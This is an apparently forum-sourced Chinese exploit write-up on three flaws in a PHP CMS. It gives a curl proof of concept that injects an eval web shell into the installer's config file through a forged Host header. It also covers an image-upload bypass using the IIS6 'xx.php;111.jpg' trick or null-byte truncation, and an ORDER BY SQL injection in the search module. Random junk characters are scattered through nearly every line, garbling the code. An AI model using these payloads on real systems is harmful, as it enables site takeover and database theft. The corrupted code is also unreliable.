注入:, R: M5 ?) t) C3 A( D
$ }* d6 o# u& |* y6 O8 c$ @之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码7 S7 W7 {* g% M0 F" a8 ^, Q
1 e# J$ @0 y0 ?2 }2 q' w
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
- e6 i! }2 c' ~0 G: g鸡肋2: 有一定安全常识的站长都会删掉 install 目录
) m- T) ~+ S0 r# V
* n" F; g2 o9 n虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
' \- e6 |8 l! a- K& `) [) Y 5 X, Q4 h/ ^; p* o) k
分析:; ]+ u% C3 ?% C' Z: w
/ H, K6 {/ K Z7 ]0 a( r ' y+ L8 `7 d" |2 K* l
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤! o! q) v# J# h( C1 i1 A
; C0 Q/ e5 P; }2 `- `$ z, x# U
$filestr = fread(fopen($SysConfigFile, 'r'),30000);5 ` s, C1 d. a" x p
$filestr=str_replace(" ","",$filestr);
$ w' r4 c! e! w: ~ $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
( l/ [3 ^; e7 z* Q K3 F | $filestr=str_replace("DefaultDbName",$dbname,$filestr);& ~& q& H5 Q; `8 h4 F. m; k1 [* k: t
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);# P1 F) A' d- T/ ~1 B5 n* M. w+ N
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
1 Q7 l+ r% i# G+ t; G) h- v $filestr=str_replace("DefaultsLan","zh_cn",$filestr);" l5 x: A% K& K# g) |, R7 O# q# F
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
4 Y4 ^$ q# m+ r+ ?& s $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);+ \3 g8 M9 a+ o: R3 ~# l7 j
% x6 d6 a6 x$ ?: \+ m! O
fwrite(fopen($ConFile,"w"),$filestr,30000);0 v* @& ^. ]" U W, t9 H
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^" z+ a$ k* }6 J2 [
1 g0 {; C) ], H- Fpoc:
; i* l( F8 A8 O( D$ m! u 3 L1 B+ `' P) k
?: c. D" V; x/ v4 V9 m3 v' f" }" r
15 B% y) i7 {; Q6 g% _+ Y
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#": f5 w# z$ q- y+ _5 v W
shell地址: /config.inc.php( ]( i( }/ I6 F/ T; q
跟之前的 phpcms一样 需要远程数据库$ y I+ J3 Q0 U% A' Q% t j( q! t
; F0 z# K$ x# G6 R! D9 i——————————————————–
+ E2 b0 H5 ~- }上传漏洞(需要进后台):
3 {& T& s. G5 ?' p p' B$ g' B+ u漏洞文件: /kedit/upload_cgi/upload.php
7 O& U2 ?# ^! h( X; C/ u9 h# C I7 N3 S这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
, Y [9 s- l4 y& R % p0 p$ V8 g; O7 l, P- j
. z9 S X+ h' a v. o z- Y<?php
2 D6 r Q% J) _9 `; {# S define("ROOTPATH", "../../");' T# P+ K5 e3 I: l$ H
include(ROOTPATH."includes/admin.inc.php");
/ Y6 W/ b' q7 ~ ~- c NeedAuth(0);+ n" R, K5 ~# [8 Y* X# e7 h
, ?2 [7 Z/ a2 L! r& A1 f& N: f $dt=date("Ymd",time());" s/ U8 {$ [! s8 k y# I
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){; L( B, O5 K/ j, S
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
7 i& p8 h4 }7 E8 T, c- b }8 {" F- F }- J# f$ v/ T. T: c
+ {9 o- }" ~4 w' E8 X" \
//文件保存目录路径! ]1 d4 r- c; [
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';7 E2 r6 k. ^1 N
echo $save_path;
. R1 e: r& }! R3 P0 u& o% I //文件保存目录URL- B% Y5 B2 [& U- z7 c2 Z! b- r
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
/ z* F) o" E+ o+ v4 {4 x+ O$ z% Q % p S4 f' l; \: I% G7 z
//定义允许上传的文件扩展名0 ^2 w' C! j/ x! m2 P% O# q
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀: `' N% w$ p# ]: Y
3 d1 c* o( Y4 V, m ]% \9 ?) S //最大文件大小
4 w$ N! g$ W* r+ c" P0 K $max_size = 1000000;
. S: R% A8 q; q0 N+ t7 `6 ?" U ; P8 u3 O5 v0 U U2 f1 M
//更改目录权限
0 Z- r7 v0 T7 Y; p9 v2 T @mkdir($save_path, 0777);4 M1 O+ p* v4 U0 X- y
6 C( ], ] T. b- Y" W# ^0 ^ //文件的全部路径+ X4 n# ]$ I: Z7 Y& Y8 d
$file_path = $save_path.$_POST['fileName']; //保存文件名- l, Q% Y( N. g& {! g- z4 z
. K2 }$ G E Y
//文件URL+ P4 i9 e1 e4 ~
$file_url = $save_url.$_POST['fileName'];4 |* }7 Y$ W9 b1 P
//有上传文件时6 N9 ?( b; X) B) W, w. |
if (empty($_FILES) === false) {% ~: K! D& ]3 F
; v3 |6 M# {+ {" H: A //原文件名
9 H7 O/ n5 `/ E0 Q+ C3 [ N $file_name = $_FILES['fileData']['name'];: J2 R' [5 i' f' d2 l
//服务器上临时文件名
$ ~" n$ R7 m+ O5 o: y, A' o G $tmp_name = $_FILES['fileData']['tmp_name'];; f: P+ A( f" t$ @' R( l: }
//文件大小% N8 ~3 `6 F U5 `
$file_size = $_FILES['fileData']['size'];, A7 u" P+ }( x R# h% l
//检查目录
! ~& i8 A. x2 f if (@is_dir($save_path) === false) {; t' a2 R, f1 Q/ [ M
alert("上传目录不存在。");
* v6 Q8 i: ?) H; i3 F) q }! Q* x* p; Q4 B. w
//检查目录写权限
1 B: e& ~: q" y. q" a if (@is_writable($save_path) === false) {- q( k& X8 B6 W/ A1 T4 t) l- L
alert("上传目录没有写权限。");
" J2 r6 q% K( P# P2 f }0 N1 `+ d3 \4 l0 R9 d7 {
//检查是否已上传' J# m; M" U# E
if (@is_uploaded_file($tmp_name) === false) {
9 S1 i" X3 }' f5 }/ U S! e7 u alert("临时文件可能不是上传文件。");
$ E5 H; B7 y- v$ y) x }- i, y# I4 F4 S3 W A! a
//检查文件大小0 q- t: e9 v& n' Q- J8 O
if ($file_size > $max_size) {
( I+ U9 ]' a y& i$ p- w alert("上传文件大小超过限制。");
% C( o1 H1 V% X# D }: j( ?2 ~0 H4 X0 W' q1 f k
//获得文件扩展名3 K% K& G9 B# C5 @1 E* S
$temp_arr = explode(".", $_POST['fileName']);
- I# ?8 R1 {, D% s8 q0 P7 d7 B $file_ext = array_pop($temp_arr);0 y* v G, h6 U
$file_ext = trim($file_ext);
! z7 N% o! b- f+ L5 n4 y $file_ext = strtolower($file_ext);
: e" ^& e6 I2 X4 @2 g
; {3 z. L' b6 ~6 R //检查扩展名 ' N0 \, n$ G o! t
if (in_array($file_ext, $ext_arr) === false) { , J8 o+ x9 d0 m, _
alert("上传文件扩展名是不允许的扩展名。");
$ W0 p6 W4 D2 }' ` }1 `" `$ M0 M1 ?' a
* w0 j5 z2 y1 R2 P
//移动文件
$ Y! z* M% Y4 y' t //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
- C. G1 O9 G( G if (move_uploaded_file($tmp_name, $file_path) === false) {
* [& _" q5 f# K# d alert("上传文件失败。");) m0 _3 j( }, f8 b% W
}2 ?6 l [# h6 A; @+ {
F: }) V4 v9 L* [
@chmod($file_path,0666);# L$ i `% t$ {/ |- K: s7 ]
/ X& e- q) S$ W' N: _6 n ?>4 [% m% L! l4 D! i4 a) m1 c
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
' W& Z" m' r5 S 2 e& {3 ]4 u: J
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
, Z. i5 x" P, w( z
* ]1 i0 _# n1 w3 J# {1 O——————————————————
9 i- ?4 s- N- R; d/ f$ ^注入漏洞:
' T! F! u3 V$ _ m* q/ g漏洞文件:search/module/search.php
2 _( y- G1 `/ w2 z7 r/search/index.php?key=1&myord=1 [sqlinjection]
F/ N0 M2 \ i* k* ~+ a
: e! X" J" p7 q. U& f1 m- K * `* [( u8 S8 b5 e5 t+ V
<?php& w: {. H. |( n% u6 n2 M- C1 ^4 m
// ... 省略 n 行...
8 g* N* l1 t4 L" j* J //第18行:
C& Y3 r0 j' j8 |; ]$ x. T $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
& I/ T0 Q9 G8 E2 o $page=htmlspecialchars($_GET["page"]);
; c3 s! Q% V2 F* f! q, @# _0 i $myord=htmlspecialchars($_GET["myord"]);6 |4 x; ` a; p/ g K, r
0 \" G( P# h: N* H f
// ... 省略 n 行...
- n5 p) w- _5 ^5 `7 T: d% B $key,$myord 两个参数带入查询9 i, \+ B% M- i5 w% f8 ~) S
//第47行 $key:
" h# a% g. W1 w: w2 m
( l8 n6 D% Q7 U9 e g+ M N ~. t $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
8 L. R" N# f) c3 y* H: j
) ^+ j6 E0 W& q2 A, B0 T: A //第197行 $myord& k/ i$ h! B# a3 W! M
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入$ } w# ~) x ^+ l
/ n0 M. B+ u U, e* d
?>+ b0 ?$ }# q1 F2 W) q% D
|